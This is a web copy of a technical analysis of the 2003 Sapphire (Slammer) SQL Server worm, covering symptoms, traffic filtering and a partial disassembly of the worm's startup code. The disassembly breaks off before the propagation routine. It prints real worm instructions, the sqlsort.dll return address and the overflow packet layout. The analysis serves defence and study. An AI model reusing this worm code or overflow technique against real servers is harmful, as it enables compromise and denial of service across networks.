📄 sqlworm.html
字号:
<!-- resource has been modified by proxy -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Analysis of Sapphire SQL Worm</TITLE>
</HEAD>
<BODY BGCOLOR="White" TEXT="Black">
<H1>Analysis of Sapphire SQL Worm</H1>
<H2>Background</H2>
On Friday, January 24, 2003, eEye Digital Security was alerted to a sudden increase in the number of SQL resolution service scans. The scans appeared to be aggressively targeting a buffer overrun in the SQL resolution service that existed in SQL Server 2000 prior to Service Pack 3 and MSDE 2000. eEye has dis-assembled the worm, and I provide a more detailed analysis. The fast spreading worm quickly infected systems on the internet and took many small networks completely offline with its scanning activity. Many Internet Service Providers' traffic levels surged as the worm scanned for new targets.
<H2>Brief Analysis</H2>
When an SQL server is infected by this worm, the worm immediately sets up a stack frame with information that it needs for propogation. It locates the <CODE>GetTickCount</CODE> API as well as several other WinSock APIs. It does not search for the <CODE>LoadLibraryA</CODE> and <CODE>GetProcAddress</CODE> APIs, and instead locates them by searching the IAT of <CODE>sqlsort.dll</CODE>.<BR><BR>
The system timer of the infected system is used as the seed for address generation. All addresses generated are predictably based upon this value. Each system receives a single UDP packet that triggers the buffer overflow, spreading the worm to that system. It is likely that the increase in network activity caused by the worm will lead to performance issues. Worm-generated traffic is easily identified by 371-410 byte UDP packets travelling to port 1434. Microsoft had previously released a patch for this vulnerability available from <A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp">http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp</A>
<H2>Symptoms</H2>
<H3>Infected Systems</H3>
<H4>Outbound traffic to external addresses on UDP Port 1434</H4>
The scanning method Sapphire uses causes a significant amount of data to be transmitted, all of it aimed at UDP port 1434. This traffic will be seen in packet captures monitoring the affected ports. Contrary to some reports, port 1433 is not scanned by this worm.
<H4>Large amount of ICMP Port/Host Unreachable messages aimed at server systems</H4>
The worm uses a large number of UDP packets to achieve widespread infection. If the worm aims packets at a non-existant address (or an address that has not opened port 1434), an ICMP Unreachable message may be returned by the router that detected the error.
<H4>SQL resolution service failure</H4>
Worm infection may cause the resolution service to fail, disabling access to SQL services. This effect occurs until the SQL server is restarted.
<H4>Performance Degredation</H4>
Due to the scanning for other systems, and the resultant bandwidth consumption due to outbound UDP packets (or inbound ICMP error messages as outlined above), connection speeds to other services may drop drastically. Because the worm does not have the facilities to prevent re-infection, systems may have several copies of the worm running simultaneously.
<H3>Scanning</H3>
The scanning method of the worm produces a large number of packets aimed at UDP 1434. If several systems scan the same host or network, this may result in loss of connections, declines in speed, etc. The impact of the large amount of scanning is to cause a denial of service to the scanned hosts.
<H2>Best Practices</H2>
The following best practices should prevent infection and mitigate impacts to systems being scanned.
<H3>Filtering Traffic</H3>
Traffic filters can reduce the strain on individual systems, and prevent possibly infected systems from compromising others on the internet or your internal network.
<H4>Inbound Traffic</H4>
<H5>Database Servers</H5>
SQL services should not be accessible to systems on the internet. Limiting SQL services to the internal network prevents infected systems on the internet from compromising your internal servers.
<H5>Other Users</H5>
Other users may choose to block traffic to ports 1433 and 1434 at the border router or at the ISP level, if the ISP chooses to allow such requests.
<H4>Outbound Traffic</H4>
Database servers ordinarily have no need to contact other servers outside of your internal network. As such, you may choose to block the database server system from communicating with other systems on ports 1433 and 1434.
<H2>Disassembly/Analysis</H2>
<H3>Initialization</H3>
When the vulnerable system receives this packet, the buffer overrun occurs, and the return address is overwritten. On return, the worm hits a <CODE>jmp esp</CODE> in <CODE>sqlsort.dll</CODE> which leads into its payload. It wastes no time, immediately beginning packet construction. The packet it uses will have the following form:
<PRE>[Garbage][EIP][Worm]</PRE>
The worm then saves the EIP to the stack (the worm body is already here):
<PRE> push 42B0C9DCh ; [EBP-4] Sqlsort.dll: jmp esp</PRE>
After this instruction, the stack appears as:
<PRE>[Worm][EIP]</PRE>
The worm then saves a large amount of garbage data to the stack:
<PRE> mov eax, 1010101h
xor ecx, ecx
mov cl, 18h
FIXUP:
push eax ; [EBP-8 to EBP-60h]
loop FIXUP
xor eax, 5010101h
push eax ; [EBP-64h]</PRE>
The stack now appears as:
<PRE>[Worm][EIP][Garbage]</PRE>
Since x86 stacks grow downward, the top of the stack is really the end of the memory region. Later, when the worm calls <CODE>sendto</CODE>, the API reads the stack memory 'backwards', and reconstructs the packet again:
<PRE>[Garbage][EIP][Worm]</PRE>
Perhaps this is better demonstrated by an example:
<PRE>Sapphire Worm Stack Map
[Worm Body]
42 B0 C9 DC 01 01 01 01 [EBP+58h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+50h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+40h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+30h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+20h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+10h]
01 01 01 01 01 01 01 01 01 01 01 01 04 00 00 00 [EBP-0]
00 00 00 00 6C 6C 64 2E 32 33 6C 65 6E 72 65 6B [EBP-10h] ; 'kernel32.dll'
00 00 00 00 74 6E 75 6F 43 6B 63 69 54 74 65 47 [EBP-20h] ; 'GetTickCount'
00 00 6C 6C 64 2E 32 33 5F 32 73 77 [EBP-2Ch] ; 'ws2_32.dll'
00 00 74 65 6B 63 6F 73 [EBP-34h] ; 'socket'
00 00 6F 74 64 6E 65 73 [EBP-3Ch] ; 'sendto'
[Base address of ws2_32.dll] [EBP-40h] ;
00 00 00 00 00 00 00 00 [EBP-48h] ; sin_zero
[Pseudo-Random seed] [EBP-4Ch] ; sin_addr.s_addr
9A 05 00 02 [EBP-50h] ; sin_port, sin_family
[UDP socket descriptor] [EBP-54h]</PRE>
The stack is then 'normalized' (<CODE>EBP=ESP</CODE>) for the exploit to continue:
<PRE> mov ebp, esp ; EBP=ESP</PRE>
The worm begins to setup a stack frame that stores several pieces of data, namely the following strings:
<UL>
<LI><I>kernel32.dll</I>
<PRE> push ecx ; [EBP-4]
push 6C6C642Eh ; [EBP-8]
push 32336C65h ; [EBP-0Ch]
push 6E72656Bh ; [EBP-10h]</PRE></LI>
<LI><I>GetTickCount</I>
<PRE> push ecx ; [EBP-14h]
push 746E756Fh ; [EBP-18h]
push 436B6369h ; [EBP-1Ch]
push 54746547h ; [EBP-20h]</PRE></LI>
<LI><I>ws2_32.dll</I>
<PRE> mov cx, 6C6Ch
push ecx ; [EBP-24h]
push 642E3233h ; [EBP-28h]
push 5F327377h ; [EBP-2Ch]</PRE></LI>
<LI><I>socket</I>
<PRE> mov cx, 7465h
push ecx ; [EBP-30h]
push 6B636F73h ; [EBP-34h]</PRE></LI>
<LI><I>sendto</I>
<PRE> mov cx, 6F74h
push ecx ; [EBP-38h]
push 646E6573h ; [EBP-3Ch]</PRE></LI>
</UL>
The worm begins to locate needed procedures. It begins by locating <CODE>LoadLibraryA</CODE> from the Import Address Table (IAT) of the <CODE>sqlsort.dll</CODE> library:
<PRE> mov esi, 42AE1018h</PRE>
The worm loads the <CODE>ws2_32.dll</CODE> library and saves the resulting handle to its stack frame for later use. It loads a string pointer into <CODE>EAX</CODE>, and uses it to the call to <CODE>LoadLibraryA</CODE>, which is represented indirectly via the <CODE>ESI</CODE> register:
<PRE> lea eax, [ebp-2Ch]
push eax ; [EBP-40h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-3Ch
push eax ; [EBP-40h]</PRE>
The worm then pushes a string pointer ('<CODE>GetTickCount</CODE>') from its stack frame onto the top of the stack for later use:
<PRE> lea eax, [ebp-20h]
push eax ; [EBP-44h]</PRE>
The worm then obtains a handle to the <CODE>kernel32.dll</CODE> library via the <CODE>LoadLibraryA</CODE> function referenced in <CODE>ESI</CODE>. This is done in a similar fashion to the above loading of <CODE>ws2_32.dll</CODE>:
<PRE> lea eax, [ebp-10h]
push eax ; [EBP-48h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-44h
push eax ; [EBP-48h]</PRE>
The worm then attempts to locate the entry for <CODE>GetProcAddress</CODE> from the same IAT it used to find <CODE>LoadLibraryA</CODE> earlier (<CODE>sqlsort.dll</CODE>):
<PRE> mov esi, 42AE1010h
mov ebx, [esi]
mov eax, [ebx]</PRE>
The worm then attempts to 'fingerprint' the <CODE>GetProcAddress</CODE> API, and will fall back to the other known base address if this fails. I believe this check is to compensate for slight discrepencies between SQL Server Service Packs 1 and 2 and the original release of SQL Server 2000. They used IAT addresses that varied slightly, and this meant two different checks:
<PRE> cmp eax, 51EC8B55h
jz short VALID_GP
mov esi, 42AE101Ch</PRE>
The worm then immediately calls <CODE>GetProcAddress</CODE>. The API receives its two parameters from the top of the stack. This destroys the <CODE>kernel32.dll</CODE> handle that the worm obtained previously:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -